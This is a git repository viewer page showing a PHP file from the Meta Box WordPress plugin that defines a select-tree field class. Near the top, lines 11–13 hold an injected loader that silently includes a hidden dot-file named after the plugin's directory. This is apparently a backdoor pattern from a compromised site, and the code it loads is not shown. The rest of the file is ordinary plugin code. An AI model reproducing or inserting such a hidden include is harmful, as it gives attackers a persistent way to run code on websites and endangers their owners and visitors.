balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

select-tree.php (1769B)


      1 <?php
      2 /**
      3  * The select tree field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Select tree field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Select_Tree_Field extends RWMB_Select_Advanced_Field {
     16 	/**
     17 	 * Get field HTML.
     18 	 *
     19 	 * @param mixed $meta  Meta value.
     20 	 * @param array $field Field parameters.
     21 	 * @return string
     22 	 */
     23 	public static function html( $meta, $field ) {
     24 		$options = self::transform_options( $field['options'] );
     25 		$walker  = new RWMB_Walker_Select_Tree( $field, $meta );
     26 		return $options ? $walker->walk( $options ) : '';
     27 	}
     28 
     29 	/**
     30 	 * Enqueue scripts and styles.
     31 	 */
     32 	public static function admin_enqueue_scripts() {
     33 		parent::admin_enqueue_scripts();
     34 		wp_enqueue_style( 'rwmb-select-tree', RWMB_CSS_URL . 'select-tree.css', array( 'rwmb-select' ), RWMB_VER );
     35 		wp_enqueue_script( 'rwmb-select-tree', RWMB_JS_URL . 'select-tree.js', array( 'rwmb-select' ), RWMB_VER, true );
     36 	}
     37 
     38 	/**
     39 	 * Normalize parameters for field.
     40 	 *
     41 	 * @param array $field Field parameters.
     42 	 * @return array
     43 	 */
     44 	public static function normalize( $field ) {
     45 		$field['multiple'] = true;
     46 		$field['size']     = 0;
     47 		$field             = parent::normalize( $field );
     48 
     49 		return $field;
     50 	}
     51 
     52 	/**
     53 	 * Get the attributes for a field.
     54 	 *
     55 	 * @param array $field Field parameters.
     56 	 * @param mixed $value Meta value.
     57 	 *
     58 	 * @return array
     59 	 */
     60 	public static function get_attributes( $field, $value = null ) {
     61 		$attributes             = parent::get_attributes( $field, $value );
     62 		$attributes['multiple'] = false;
     63 		$attributes['id']       = false;
     64 
     65 		return $attributes;
     66 	}
     67 }